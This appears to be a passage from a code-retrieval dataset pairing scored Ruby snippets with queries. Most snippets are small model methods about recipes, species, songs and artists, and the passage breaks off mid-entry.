"text": "def object_taxon_name_ids\n return taxon_name_id if !taxon_name_id.empty?\n return object_taxon_name_id if !object_taxon_name_id.empty?\n return []\n end",
"title": ""
},
{
"docid": "833a4dbfab28b1282522bbeab4e9c271",
"score": "0.48483488",
"text": "def all\n # return an array of all the regions\n return NAMES\n end",
"title": ""
},
{
"docid": "bbae13a2041fbe37ca8037624deb426f",
"score": "0.4841521",
"text": "def backup\n copy = Array.new\n @solution.each do |row|\n house = Array.new\n row.each do |unit|\n house << unit\n end\n copy << house\n end\n return copy\n end",
"title": ""
},
{
"docid": "b6aae49209af38da07912c1206971227",
"score": "0.48316577",
"text": "def template_object_sets\n\t\t\toutput = []\n\t\t\tset = xpath '//template_object_set'\n\t\t\tset.each do |node|\n\t\t\t\toutput << node\n\t\t\tend\n\t\t\n\t\t\treturn output\n\t\tend",
"title": ""
},
{
"docid": "b48540aabe51ab580ad8e8efebbbf6ed",
"score": "0.4830244",
"text": "def recipes\n self.recipe_cards.map {|recipecard| recipecard.recipe}\n end",
"title": ""
},
{
"docid": "374c734819718b4b55109e4cfdab3adf",
"score": "0.48152012",
"text": "def poss( syn )\n cod = SITE_SYNONYMITY[nuc_codon.join]\n return [] unless cod\n\n pos_codon\n .zip(cod.split(\"\"))\n .select{|p| p.last == (syn=='syn' ? 's' : 'n')}\n .map(&:first)\n end",
"title": ""
},
{
"docid": "6917ca9624992e24f24115f728bae6f9",
"score": "0.48142585",
"text": "def ingredients\n recipe_ingredients.map do |r|\n r.ingredient\n end\n end",
"title": ""
},
{
"docid": "b8e882efa23877ad374c27efd2733dd8",
"score": "0.48121825",
"text": "def sexual_species\n species = Array.new\n\n mobs.each do |mob|\n species << mob.specie if not mob.asexual?\n end\n\n return species.uniq\n end",
"title": ""
},
{
"docid": "ab9beec372a03dda50ff17860e1b060c",
"score": "0.48093104",
"text": "def find_ingredients(recipe_object)\n ingredients = []\n ing_array = recipe_to_string(recipe_object).split(\" \")\n ing_array.each do |ing|\n ingredients << Ingredient.find_by(name: ing.capitalize!)\n end\n return (ingredients - [nil])\n end",
"title": ""
},
{
"docid": "5cf47afc5096de2939d72d0f24ba4784",
"score": "0.48048577",
"text": "def split_with_adducts(*bonds)\n to_return = split(*bonds)\n if adducts?\n products = to_return.product(@adducts)#.map {|mol, adduct| mol.associate_atom! adduct.atoms.first ; mol}\n products.map! {|mol, adduct| mol2 = mol.dup; mol2.associate_atom! adduct.atoms.first ; mol2}\n to_return = to_return + products\n end\n to_return\n end",
"title": ""
},
{
"docid": "45991b98beab9467db1c2eb72cee6e15",
"score": "0.48037034",
"text": "def pieces\n self.cells.values.map {|c| c.piece }.compact.uniq\n end",
"title": ""
},
{
"docid": "64f5dfc8a0eddccce624cce51abe88ea",
"score": "0.47986692",
"text": "def variable_objects()\n @var_set.values\n end",
"title": ""
},
{
"docid": "225dcc6ff6f72c8c4e3fc269b54296b7",
"score": "0.4792887",
"text": "def extract\n extract_all\n extract_ccs\n end",
"title": ""
},
{
"docid": "d352681869b918c080aae8e8a2400cde",
"score": "0.47922814",
"text": "def ingredients\n recipe_ingredients.map {|recipe_ingredient| recipe_ingredient.ing}\n end",
"title": ""
},
{
"docid": "3dfbbcb8d0e3336378f11548f9d107c3",
"score": "0.47920507",
"text": "def parse_coordinations scs, vissim\n \n # adjust the position of controllers such the left-most one\n # is at position zero \n minpos = scs.map{|sc|sc.position}.min\n scs.each{|sc|sc.update :position => (sc.position - minpos)}\n \n coordinations = []\n scs.each_cons(2) do |sc1,sc2|\n next unless (sc2.number - sc1.number).abs == 1 # assigned numbers indicate proximity\n # setup a coordination in each direction\n [[sc1,sc2],[sc2,sc1]].each do |fromsc,tosc|\n coordinations << Coordination.new(fromsc,tosc,vissim.speed(fromsc,tosc),vissim.distance(fromsc,tosc))\n end\n end\n \n coordinations\nend",
"title": ""
},
{
"docid": "75317ef9ab98e26993e7440d6e61549b",
"score": "0.47854465",
"text": "def ingredients\n self.dessert_ingredients.map {|di| di.ingredient}\n end",
"title": ""
},
{
"docid": "5913a8e9a449dab3f8b54661025e0df2",
"score": "0.4781975",
"text": "def recipes\n recipe_cards.map { |c| c.recipe }\n end",
"title": ""
},
{
"docid": "0ba021dbd60aac20b3bf3c700749ea33",
"score": "0.4780819",
"text": "def recipes\n recipe_cards.map {|recipe_card| recipe_card.recipe}\n end",
"title": ""
},
{
"docid": "e5cedc7c060715bb7c1aba9616487bee",
"score": "0.47787547",
"text": "def all_contents()\n contents = self.content.flatten.map do |c|\n case c\n when Eddy::Models::Loop::Repeat then c.all_contents()\n when Eddy::Models::Loop::Base then c.all_contents()\n when Eddy::Models::Segment then c\n else raise Eddy::Errors::RenderError\n end\n end\n return contents.flatten\n end",
"title": ""
},
{
"docid": "4161a9b294a1b76d3dcbe137d56b2d15",
"score": "0.47739998",
"text": "def get_objects(target_class, table_name, inclusive = false)\r\n answer = Array.new\r\n\r\n \r\n # Get all the coord_systems with this type of features on them\r\n coord_system_ids_with_features = MetaCoord.find_all_by_table_name(table_name).collect{|mc| mc.coord_system_id}\r\n\r\n # Get the features of the original slice\r\n if coord_system_ids_with_features.include?(self.seq_region.coord_system_id)\r\n sql = ''\r\n if inclusive\r\n sql = <<SQL\r\nSELECT * FROM #{table_name}\r\nWHERE seq_region_id = #{self.seq_region.id.to_s}\r\nAND (( seq_region_start BETWEEN #{self.start.to_s} AND #{self.stop.to_s} )\r\nOR ( seq_region_end BETWEEN #{self.start.to_s} AND #{self.stop.to_s} )\r\nOR ( seq_region_start <= #{self.start.to_s} AND seq_region_end >= #{self.stop.to_s} )\r\n )\r\nSQL\r\n else\r\n sql = <<SQL\r\nSELECT * FROM #{table_name}\r\nWHERE seq_region_id = #{self.seq_region.id.to_s}\r\nAND seq_region_start >= #{self.start.to_s}\r\nAND seq_region_end <= #{self.stop.to_s} \r\nSQL\r\n end\r\n answer.push(target_class.find_by_sql(sql))\r\n coord_system_ids_with_features.delete(self.seq_region.coord_system_id)\r\n end\r\n\r\n # Transform the original slice to other coord systems and get those\r\n # features as well. At the moment, only 'direct' projections can be made.\r\n # Later, I'm hoping to add functionality for following a path from one\r\n # coord_system to another if they're not directly linked in the assembly\r\n # table.\r\n coord_system_ids_with_features.each do |target_coord_system_id|\r\n target_slices = self.project(CoordSystem.find(target_coord_system_id).name)\r\n target_slices.each do |slice|\r\n if slice.class == Slice\r\n if inclusive\r\n sql = <<SQL\r\nSELECT * FROM #{table_name}\r\nWHERE seq_region_id = #{slice.seq_region.id.to_s}\r\nAND (( seq_region_start BETWEEN #{slice.start.to_s} AND #{slice.stop.to_s} )\r\nOR ( seq_region_end BETWEEN #{slice.start.to_s} AND #{slice.stop.to_s} )\r\nOR ( seq_region_start <= #{slice.start.to_s} AND seq_region_end >= #{slice.stop.to_s} )\r\n )\r\nSQL\r\n else\r\n sql = <<SQL\r\nSELECT * FROM #{table_name}\r\nWHERE seq_region_id = #{slice.seq_region.id.to_s}\r\nAND seq_region_start >= #{slice.start.to_s}\r\nAND seq_region_end <= #{slice.stop.to_s} \r\nSQL\r\n end \r\n answer.push(target_class.find_by_sql(sql))\r\n end\r\n end\r\n end\r\n\r\n answer.flatten!\r\n answer.uniq!\r\n\r\n return answer\r\n end",
"title": ""
},
{
"docid": "6e215ca60dcb5f8448221727b47472c9",
"score": "0.47555935",
"text": "def getSubstName\n root = @atoms.keys[0]\n str = getIncompleteName([root]) + Constants::SUBST_SFIX\n if str.include? \"-\" # add parentheses around name if complex molecule\n str.prepend \"(\"\n str += \")\"\n end\n str\n end",
"title": ""
},
{
"docid": "9c8f31f07ccb60a0962c5206c6b45356",
"score": "0.4754047",
"text": "def club_sets\n super.uniq\n end",
"title": ""
},
{
"docid": "1dcc1d5612811dd072f1137d8610ef63",
"score": "0.4752462",
"text": "def base_aug_components(opts = {})\n ret = self.array.select { |element| element.depth == 1 }.map { |element| element.aug_component }\n if components = opts[:components]\n matching_component_ids = components.map(&:id)\n ret.reject!{ |aug_component| ! matching_component_ids.include?(aug_component.id) }\n end\n ret\n end",
"title": ""
},
{
"docid": "46bd3f153f32cf4e0b9a286f236aac97",
"score": "0.47472388",
"text": "def superfamily_ids\n superfamily_ids_set.to_a\n end",
"title": ""
},
{
"docid": "22773a1907e3dea9aec54f4bd95d16d6",
"score": "0.4745015",
"text": "def all_components()\n return self.components.map do |comp|\n case comp\n when Eddy::Summary::Loop then [comp, comp.all_components()]\n when Eddy::Summary::Segment then comp\n else raise Eddy::Errors::Error\n end\n end.flatten\n end",
"title": ""
},
{
"docid": "67ce9af6d6ca0615dabe517cc218ef51",
"score": "0.47437018",
"text": "def replaces\n @replaces ||= []\n end",
"title": ""
},
{
"docid": "67ce9af6d6ca0615dabe517cc218ef51",
"score": "0.47437018",
"text": "def replaces\n @replaces ||= []\n end",
"title": ""
},
{
"docid": "b0ce3155a9e608365f8cb9727077d134",
"score": "0.47408226",
"text": "def ingredients\n RecipeIngredient.all.map do |reci_ingred|\n reci_ingred.ingredient_O if reci_ingred.recipe_O == self\n end.compact\n end",
"title": ""
},
{
"docid": "1d655b0ad1ed56e0fa1baef7ab7461c0",
"score": "0.47406268",
"text": "def objects\n return @objects unless @objects.nil?\n objs = []\n dict = @instance.getDictionary\n (0 ... dict.getChildCount).each do |i|\n obj = dict.getChildAt(i)\n objs << {\n :name => obj.getName,\n :qual => obj.getQualification.toString.downcase.to_sym,\n :type => obj.getType.toString.downcase.to_sym,\n :object => obj,\n }\n end\n @objects = objs\n end",
"title": ""
},
{
"docid": "94b4c5f3fa1e40eaffb6068b40dc5afd",
"score": "0.47376013",
"text": "def species\r\n villagers.map{ |villager| villager.species}\r\n end",
"title": ""
},
{
"docid": "1e821ab2b9a6620446f4210df43f2e1b",
"score": "0.47339246",
"text": "def components\n [r, s]\n end",
"title": ""
},
{
"docid": "e7221d43d124147a45a6d199b22261eb",
"score": "0.47248605",
"text": "def related_objects\n related_objects = Array.new\n\n\t\tself.meta_data_group_assignments.uniq.each do |assignment|\n\t\t\tobject_type = assignment.meta_data_group_assignable_type\n\t\t\tobject_id = assignment.meta_data_group_assignable_id\n\n\t\t\trelated_object = eval(object_type+'.find('+object_id.to_s+')')\n\t\t\trelated_objects.push(related_object)\n\t\tend\n\n\t\tputs related_objects.inspect\n\n return related_objects\n end",
"title": ""
},
{
"docid": "64ab02b4ef9bc4b1a9cdc56faa49314f",
"score": "0.47219422",
"text": "def all_animal_species\n #binding.pry\n all_animals.select{|species|species.zoo == self }.uniq\n end",
"title": ""
},
{
"docid": "adfe9a807434f71890ac7123b49da5d5",
"score": "0.4708512",
"text": "def as_replacements; end",
"title": ""
},
{
"docid": "adfe9a807434f71890ac7123b49da5d5",
"score": "0.4708512",
"text": "def as_replacements; end",
"title": ""
},
{
"docid": "adfe9a807434f71890ac7123b49da5d5",
"score": "0.4708512",
"text": "def as_replacements; end",
"title": ""
},
{
"docid": "47926cd35c49b8eea9c81d87f56577bf",
"score": "0.47013298",
"text": "def birds\n nests.map do |nest|\n nest.bird.species\n end\n end",
"title": ""
},
{
"docid": "9e5fc6ad464d158374061e5c2e6f7253",
"score": "0.47003335",
"text": "def neighbors_by_substitution(word)\n word.split_around_each_char.lazy\n .flat_map do |prefix, char_to_substitute, suffix|\n get(prefix).lazy\n .reject do |substitution_possibility, _|\n substitution_possibility == char_to_substitute\n end\n .select do |_, substitution_possibility_subtree|\n # I'd usually use #try here but the instructions specify that I\n # can't include ant ActiveSupport functions.\n substitution_possibility_subtree &&\n substitution_possibility_subtree.contains?(suffix)\n end\n .map do |substitution_possibility, _|\n prefix + substitution_possibility + suffix\n end\n end\n end",
"title": ""
},
{
"docid": "0f4f1f0ce81ea0beb6ad55d54bf1f990",
"score": "0.4692539",
"text": "def objects\n @objects ||= population_group_members.collect(&:objects).flatten.uniq\n end",
"title": ""
},
{
"docid": "55d1307936af9487d60b349f415c9977",
"score": "0.46919122",
"text": "def molecule_nodes\n @molecule_nodes ||= collection(GraphConfig.molecules.node_class)\n end",
"title": ""
},
{
"docid": "85fdcfe300192eef480c3d60321fc86e",
"score": "0.46899626",
"text": "def starting_objects\n return [] if populatable.nil?\n populatable.instance_eval(starting_set.to_s)\n end",
"title": ""
},
{
"docid": "46a55491b1778c9ae4721a44aa101154",
"score": "0.46879935",
"text": "def residues\n @rs\n end",
"title": ""
},
{
"docid": "e5df7437f07f72527ca77a90f3742315",
"score": "0.46837664",
"text": "def x_get_tree_roots\n objects = [\n {:id => \"sis\", :text => _(\"Analysis Profiles\"), :icon => \"fa fa-search\", :tip => _(\"Analysis Profiles\")},\n {:id => \"z\", :text => _(\"Zones\"), :icon => \"pficon pficon-zone\", :tip => _(\"Zones\")}\n ]\n objects.push(:id => \"msc\", :text => _(\"Schedules\"), :icon => \"fa fa-clock-o\", :tip => _(\"Schedules\"))\n objects\n end",
"title": ""
},
{
"docid": "5d1b6250603ed2fe9aa78758ff02563a",
"score": "0.46805996",
"text": "def ministry_list\n root_ministry.descendants.pluck(:id)\n end",
"title": ""
},
{
"docid": "86eeddbf9529c337e50286d235f4229b",
"score": "0.4678494",
"text": "def asexual_species\n species = Array.new\n\n mobs.each do |mob|\n species << mob.specie if mob.asexual?\n end\n\n return species.uniq\n end",
"title": ""
},
{
"docid": "4d2f4fdc031903362e21d5a8a31fe7d3",
"score": "0.4678365",
"text": "def all_additional_substitutions_at_position(pos)\n raise \"Can't change position of SNV\" if pos == left.size\n raise 'Out of range' unless (0...length).include?(pos)\n left_or_right = (pos < left.size) ? :left : :right\n if left_or_right == :left\n flank = left\n pos_in_flank = pos\n else\n flank = right\n pos_in_flank = pos - left.size - 1\n end\n original_nucleotide = flank[pos_in_flank].upcase\n substitution_nucleotides = ['A','C','G','T'] - [original_nucleotide]\n substitution_nucleotides.map{|substitution_nucleotide|\n substitution_name = \"add:#{pos},#{substitution_nucleotide}\"\n flank_replaced = flank[0, pos_in_flank] + substitution_nucleotide + flank[(pos_in_flank + 1)..-1]\n if left_or_right == :left\n seq_w_snv = SequenceWithSNV.new(flank_replaced, allele_variants, right)\n else\n seq_w_snv = SequenceWithSNV.new(left, allele_variants, flank_replaced)\n end\n [substitution_name, seq_w_snv]\n }.to_h\n end",
"title": ""
},
{
"docid": "73b1ab4e00e9103632b4cf0af66e0358",
"score": "0.46751198",
"text": "def reproduction(selected_to_breed)\n offsprings = []\n 0.upto(selected_to_breed.length/2-1) do |i|\n offsprings << @chromosomeClass.reproduce(selected_to_breed[2*i], selected_to_breed[2*i+1])\n end\n @population.each do |individual|\n @chromosomeClass.mutate(individual)\n end\n return offsprings\n end",
"title": ""
},
{
"docid": "ad3010714a8298d1d6c5c4a9d97e0f65",
"score": "0.46685275",
"text": "def what_has?(noun)\n components = []\n all_classes(noun).each do |class_iterator|\n Array(@components[class_iterator]).each do |component|\n components.push(component)\n end\n end\n return components\n end",
"title": ""
},
{
"docid": "a00403a33e26e31ac9fb6355b6cd64aa",
"score": "0.46667916",
"text": "def to_a\n return @parts.to_a.dup\n end",
"title": ""
},
{
"docid": "1e176c96c495b24e89f907474a22acd5",
"score": "0.46659377",
"text": "def subtypes_transitive\n [self] + subtypes.map{|st| st.subtypes_transitive}.flatten\n end",
"title": ""
}
] |
f6f49c9242d2e1f658cd2957f4d5f0b1
|
song should be able to know who its artist is
|
[
{
"docid": "8773048b420132ac8c459a7d9f8c2199",
"score": "0.0",
"text": "def artist_name\n if self.artist == nil\n nil\n else \n self.artist.name\n end\n end",
"title": ""
}
] |
[
{
"docid": "02046ba3653aeed0fa71cb957d206fa7",
"score": "0.78862697",
"text": "def artist_name\n #if the song's artist exists, return the artist's name\n self.artist ? self.artist.name : nil\n end",
"title": ""
},
{
"docid": "dbe3164997b891d5fbb622804f494895",
"score": "0.77033275",
"text": "def current_artist\n\t current_song.artist\n\t end",
"title": ""
},
{
"docid": "79b1e6a7531e878b8fbf90bb0f1126f8",
"score": "0.76412165",
"text": "def song\n Song.all.select {|song| song.artist == self} # returns all the songs for an artist\n end",
"title": ""
},
{
"docid": "00366fa45ad226dd7829c74c1a473c6e",
"score": "0.7630994",
"text": "def artist_name #find out the artist name for that song.\n if @artist == nil #if song doesn't have an artist\n return nil #return nil\nelse #if song does have an artist\[email protected] #call and return artist name\n end\n end",
"title": ""
},
{
"docid": "b80fbe8ca2f41d183c12b5d5eb3b6a00",
"score": "0.76024014",
"text": "def artist_name\n self.artist.name if artist \n end",
"title": ""
},
{
"docid": "641fbbbcf045903b83d9a060a429c280",
"score": "0.759017",
"text": "def artist_name\n self.artist.name \n end",
"title": ""
},
{
"docid": "2beaef61c04a6a7fed762976aa9b8071",
"score": "0.75670946",
"text": "def artist_name\n self.artist.name if self.artist\n end",
"title": ""
},
{
"docid": "2beaef61c04a6a7fed762976aa9b8071",
"score": "0.756554",
"text": "def artist_name\n self.artist.name if self.artist\n end",
"title": ""
},
{
"docid": "3515abe2df7d6ef9ef77a41fd8429dea",
"score": "0.756084",
"text": "def artist_name\n self.artist.name\n end",
"title": ""
},
{
"docid": "3515abe2df7d6ef9ef77a41fd8429dea",
"score": "0.756084",
"text": "def artist_name\n self.artist.name\n end",
"title": ""
},
{
"docid": "3515abe2df7d6ef9ef77a41fd8429dea",
"score": "0.756084",
"text": "def artist_name\n self.artist.name\n end",
"title": ""
},
{
"docid": "144229de3463d12fcf97a677285d8c43",
"score": "0.7560394",
"text": "def artist_name #reader\n self.artist.name if self.artist\n end",
"title": ""
},
{
"docid": "7004dba908d0dc17dbdc01429ce667e2",
"score": "0.7554309",
"text": "def artist\n @artist\n # @songs.collect{|s| s.artist}.uniq\n end",
"title": ""
},
{
"docid": "fe75ebd483e2bbfcdec141b64fa284e9",
"score": "0.75271887",
"text": "def artist_name\r\n artist.name if artist\r\n end",
"title": ""
},
{
"docid": "c82712b47de9bd7f43c9a10d37cf310d",
"score": "0.75194335",
"text": "def artist_name\n artist.name if artist\n end",
"title": ""
},
{
"docid": "bdd2f0cf07bb78fe1c61c0b452eeda63",
"score": "0.7513748",
"text": "def p_artist(song_name)\n # @playlist.each do |song|\n # \tif @playlist.include?(song)\n \t# puts \"#{@playlist[song.artist]}\"\n \tputs song.artist\n\t # end\n \t# end\n\tend",
"title": ""
},
{
"docid": "a5a1436074af6c5e9707a5d8969cad37",
"score": "0.7510623",
"text": "def artist_name\n artist.name if artist\n end",
"title": ""
},
{
"docid": "bc9477037d7f76f9deb858c8adcfbef0",
"score": "0.75071",
"text": "def artist_name\n if self.artist\n self.artist.name\n end\n end",
"title": ""
},
{
"docid": "f9fce1d1c9fdc6902858317a206fde84",
"score": "0.74995834",
"text": "def artist_name\n artist.name\n end",
"title": ""
},
{
"docid": "8a370ca9323e13946b1ef12efbb5df3d",
"score": "0.74713355",
"text": "def artist_name\n artist.name if artist\n end",
"title": ""
},
{
"docid": "a140df272b9b07852b4d144b7782e7b8",
"score": "0.7451752",
"text": "def artist_name\n\n \tartist.name if artist\n end",
"title": ""
},
{
"docid": "8aaf8c932957ef57845564cbb798eb81",
"score": "0.74484223",
"text": "def artist_name\n artist.name\n end",
"title": ""
},
{
"docid": "1ea64285251333685c1629e69ca0e0aa",
"score": "0.74417084",
"text": "def artist_name\n object.artist.fullname\n end",
"title": ""
},
{
"docid": "12f4b8ec82afd6caf2d3d500614dd410",
"score": "0.74378043",
"text": "def artist_name\n if artist\n artist.name\n end\n end",
"title": ""
},
{
"docid": "5969e6b1dcf912bc51f202191b214d09",
"score": "0.735875",
"text": "def artist\n return @artist\n end",
"title": ""
},
{
"docid": "280911da0bf8be23724ed4614614b820",
"score": "0.7358082",
"text": "def add_song(song)\n song.artist = self \n end",
"title": ""
},
{
"docid": "280911da0bf8be23724ed4614614b820",
"score": "0.7358082",
"text": "def add_song(song)\n song.artist = self \n end",
"title": ""
},
{
"docid": "0569a8385e3f5ec18e06a3c47730b8c5",
"score": "0.7355833",
"text": "def artist_name\n @artist\n end",
"title": ""
},
{
"docid": "0569a8385e3f5ec18e06a3c47730b8c5",
"score": "0.7355833",
"text": "def artist_name\n @artist\n end",
"title": ""
},
{
"docid": "535df66562ef9b1049a453e00828af8a",
"score": "0.7351505",
"text": "def add_song(song)\n # - this method will add a new song instance to the @songs array\n @songs << song\n song.artist = self\n# # - this method will tell the song instance that it belongs to the artist instance\n # figure out what self is\n # song_instance.song_instance - belongs to \n end",
"title": ""
},
{
"docid": "073694509514b1af0e6ed18204696509",
"score": "0.734372",
"text": "def artist_name\n # Return name if artist exists.\n artist.name if artist\n end",
"title": ""
},
{
"docid": "76edfa13d2528f7ef2336a7b0f28fe8d",
"score": "0.7336373",
"text": "def artist_name\n self.artist_name\n end",
"title": ""
},
{
"docid": "a7a3a6f55995d680244cb9ef1b42926e",
"score": "0.7320077",
"text": "def artist_name\n if self.artist\n self.artist.name\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "b88d48179d1087f2db58dc73eb42ee8d",
"score": "0.7308515",
"text": "def artist\n @artist\n end",
"title": ""
},
{
"docid": "903f12cdf9a0ef967ae44953a085e206",
"score": "0.73003477",
"text": "def artist_name\n self.artist.name\nend",
"title": ""
},
{
"docid": "f6a4bc2dc805a17e4d28fe8ef5a05289",
"score": "0.7300303",
"text": "def add_song(song)\n song.artist = self\n end",
"title": ""
},
{
"docid": "9d442a3aaa6ce7d145ebcc2fee491b77",
"score": "0.7295517",
"text": "def artist_name\n self.artist.name if self.artist != nil \n end",
"title": ""
},
{
"docid": "16ad131c77470fb3db5917f663998709",
"score": "0.728994",
"text": "def add_song(song)\n song.artist = self\n #puts \"#{song} belongs to #{self}\"\n end",
"title": ""
},
{
"docid": "eea6f15c7c868367c40b9d720d28edee",
"score": "0.728083",
"text": "def artist\n @artist\n end",
"title": ""
},
{
"docid": "90d18ef43e04193b1bd34101076add85",
"score": "0.72807264",
"text": "def add_song(song)\n song.artist = self \n end",
"title": ""
},
{
"docid": "263f966c8c03d7ebb63dc4972ac783ab",
"score": "0.7255828",
"text": "def artist\n object[\"artist\"]\n end",
"title": ""
},
{
"docid": "bdf735893320c11ac75705fc7bf9cfb6",
"score": "0.7253974",
"text": "def add_song(song)\n song.artist = self \n end",
"title": ""
},
{
"docid": "6c73ea09fa47005eabb0d0f51c6a21a9",
"score": "0.7247567",
"text": "def artist_name\n self.artist ? self.artist.name : nil\n end",
"title": ""
},
{
"docid": "6c73ea09fa47005eabb0d0f51c6a21a9",
"score": "0.7247567",
"text": "def artist_name\n self.artist ? self.artist.name : nil\n end",
"title": ""
},
{
"docid": "5cfecc2809cd4964015eeb7cd171b77a",
"score": "0.72443604",
"text": "def artist_name(song_artist)\n artist_instance = Artist.find_or_create_by_name(song_artist)\n artist_instance.add_song(self)\n end",
"title": ""
},
{
"docid": "92515a0c21e0121d694b5de0772e2a48",
"score": "0.7234793",
"text": "def add_song(song)\n song.artist = self\n end",
"title": ""
},
{
"docid": "92515a0c21e0121d694b5de0772e2a48",
"score": "0.7234793",
"text": "def add_song(song)\n song.artist = self\n end",
"title": ""
},
{
"docid": "92515a0c21e0121d694b5de0772e2a48",
"score": "0.7234793",
"text": "def add_song(song)\n song.artist = self\n end",
"title": ""
},
{
"docid": "92515a0c21e0121d694b5de0772e2a48",
"score": "0.7234793",
"text": "def add_song(song)\n song.artist = self\n end",
"title": ""
},
{
"docid": "92515a0c21e0121d694b5de0772e2a48",
"score": "0.7234793",
"text": "def add_song(song)\n song.artist = self\n end",
"title": ""
},
{
"docid": "92515a0c21e0121d694b5de0772e2a48",
"score": "0.7234793",
"text": "def add_song(song)\n song.artist = self\n end",
"title": ""
},
{
"docid": "92515a0c21e0121d694b5de0772e2a48",
"score": "0.7234793",
"text": "def add_song(song)\n song.artist = self\n end",
"title": ""
},
{
"docid": "276b66d7f2dfb18557ff5be908b61dbc",
"score": "0.7213888",
"text": "def artist\n return @artist\n end",
"title": ""
},
{
"docid": "2118851762f1281469e4038853320fa0",
"score": "0.7174275",
"text": "def save_artist_info\n if (cat = ItemCategory.find(self.category_id)) and (cat.api_source == 'music-track' || cat.api_source == 'music-album')\n unless artist = Item.find_by_name(/#{self.artist_name}/i)\n delay.get_artist_info\n end\n end\n end",
"title": ""
},
{
"docid": "990a2177fe5dfb578a10623bfa6cb55c",
"score": "0.717209",
"text": "def artist_name\n if !self.artist\n nil\n else\n self.artist.name\n end\n end",
"title": ""
},
{
"docid": "ef8f9fc9d4fc60102bad34b5775f6d3a",
"score": "0.71702415",
"text": "def add_song(song)\n # does not assign the artist if the song already has an \n # artist\n if !(song.artist)\n song.artist=(self)\n # adds the song to current artist's songs\n # doesn't add the song to the current artist's\n # collection\n # of songs if it already exist therein.\n @songs << song\n end\n end",
"title": ""
},
{
"docid": "47e1b30b4561515a225f52f7652c1435",
"score": "0.7161582",
"text": "def add_song(song)\n song.artist = self\n end",
"title": ""
},
{
"docid": "47e1b30b4561515a225f52f7652c1435",
"score": "0.7161582",
"text": "def add_song(song)\n song.artist = self\n end",
"title": ""
},
{
"docid": "47e1b30b4561515a225f52f7652c1435",
"score": "0.7161582",
"text": "def add_song(song)\n song.artist = self\n end",
"title": ""
},
{
"docid": "47e1b30b4561515a225f52f7652c1435",
"score": "0.7161582",
"text": "def add_song(song)\n song.artist = self\n end",
"title": ""
},
{
"docid": "47e1b30b4561515a225f52f7652c1435",
"score": "0.7161582",
"text": "def add_song(song)\n song.artist = self\n end",
"title": ""
},
{
"docid": "47e1b30b4561515a225f52f7652c1435",
"score": "0.7161582",
"text": "def add_song(song)\n song.artist = self\n end",
"title": ""
},
{
"docid": "47e1b30b4561515a225f52f7652c1435",
"score": "0.7161582",
"text": "def add_song(song)\n song.artist = self\n end",
"title": ""
},
{
"docid": "c99d5f2a7b8d26cab93cfeaeb425df30",
"score": "0.71551096",
"text": "def artist_name\n\t\tself.artist.first_name\n\tend",
"title": ""
},
{
"docid": "533b5a2d75d02d4a2e0ee75fdb28292f",
"score": "0.7146498",
"text": "def artist_name\n if @artist\n @artist.name\n else \n nil\n end \n end",
"title": ""
},
{
"docid": "6fb0741b069e11dfbceef77a50b814a5",
"score": "0.7139013",
"text": "def artist=(artist)\r\n # @artist = artist\r\n artist.add_song(self) \r\n end",
"title": ""
},
{
"docid": "1ce2c90743cdf2ce4e6eee31049a3948",
"score": "0.7134539",
"text": "def add_song(song)\n self.songs << song\n song.artist = self\n #this is where the artist attribute gets assigned for a song\n end",
"title": ""
},
{
"docid": "4410e85bb6dd10d64bc566a0c0ef7649",
"score": "0.712765",
"text": "def add_song(song)\n #this method takes in an argument of a song name and associates that song w/ the artist by telling the song that it belongs to the artist\n # @songs << song\n song.artist = self\n end",
"title": ""
},
{
"docid": "48a87db722d8a55e54dfc81c30dc54e0",
"score": "0.71231705",
"text": "def artist_name\n artist ? artist.name : ''\n end",
"title": ""
},
{
"docid": "962dcccc7020a1b2bf8e73217f592c12",
"score": "0.7109639",
"text": "def artist_name\n if !self.artist\n return nil\n else\n self.artist.name\n end\n end",
"title": ""
},
{
"docid": "c0e6b0a44f8a952fddd659fb890f348f",
"score": "0.7109237",
"text": "def add_song(song)\n song.artist = self\n end",
"title": ""
},
{
"docid": "c0e6b0a44f8a952fddd659fb890f348f",
"score": "0.7109237",
"text": "def add_song(song)\n song.artist = self\n end",
"title": ""
},
{
"docid": "c0e6b0a44f8a952fddd659fb890f348f",
"score": "0.7109237",
"text": "def add_song(song)\n song.artist = self\n end",
"title": ""
},
{
"docid": "1d817acf9006b4f3d688a4aa75e876a2",
"score": "0.7106318",
"text": "def album_artist\n return @album_artist\n end",
"title": ""
},
{
"docid": "7f614cfdaf199829631275f04c9f4a1f",
"score": "0.7105192",
"text": "def album_artist_name\n @album_artist\n end",
"title": ""
},
{
"docid": "b6584a5c44e025d081cad8f3c6a0a3e9",
"score": "0.7101632",
"text": "def artist=(artist)\n @artist = artist\n artist.add_song(self) \n end",
"title": ""
},
{
"docid": "55c4aeb7a94f22c75cbd3120eb734dad",
"score": "0.71007776",
"text": "def artist=(artist)\n @artist = artist\n artist.add_song(self)\n \n end",
"title": ""
},
{
"docid": "a45b6cf13271dbed24de0faa897e1def",
"score": "0.7100753",
"text": "def artist_name\n if self.artist\n return self.artist.name\n else\n return nil\n end\n end",
"title": ""
},
{
"docid": "5f59baccbaa7d333b1bab55e7b4e9666",
"score": "0.7083822",
"text": "def add_song(song) #Adding a song to an artist by called add_song on Artist class\n song.artist = self unless song.artist #assigns the current artist (self) to the song's 'artist' property (song belongs to artist), BUT/UNLESS does not assign the artist if the song already has an artist\n songs << song unless songs.include?(song) #adds the song to the current artist's 'songs' collection (@songs array) BUT/UNLESS does not add the song to the current artist's collection of songs IF it already exists therein\n end",
"title": ""
},
{
"docid": "ede1feee71e990ada07a0b38a186480c",
"score": "0.708169",
"text": "def artist_name\n if self.artist != nil\n self.artist.name\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "d7d7f001d48199a3b9836da3d2e53222",
"score": "0.7080082",
"text": "def add_song(song)\nsong.artist = self #instance of artist belongs to self, defining it. =\nend",
"title": ""
},
{
"docid": "12414e0ba2f9ab3eb585ecd5d9b49d13",
"score": "0.707636",
"text": "def speaker\n @artist\n end",
"title": ""
},
{
"docid": "098bcc1687e2275da2a8311debd154cf",
"score": "0.7074431",
"text": "def add_song(song)\n song.artist = self\n @songs << song\nend",
"title": ""
},
{
"docid": "5e81ac133bb33a6a83b0ff2b93b96910",
"score": "0.7073324",
"text": "def add_song(name)\n name.artist = self\n end",
"title": ""
},
{
"docid": "ab28c7eef74e760cd8c2bf6e7c5c1cca",
"score": "0.7069663",
"text": "def song_name\n object.song.name\n end",
"title": ""
},
{
"docid": "51ecbc9367f6a3ef4a5a9b6de2048290",
"score": "0.7047443",
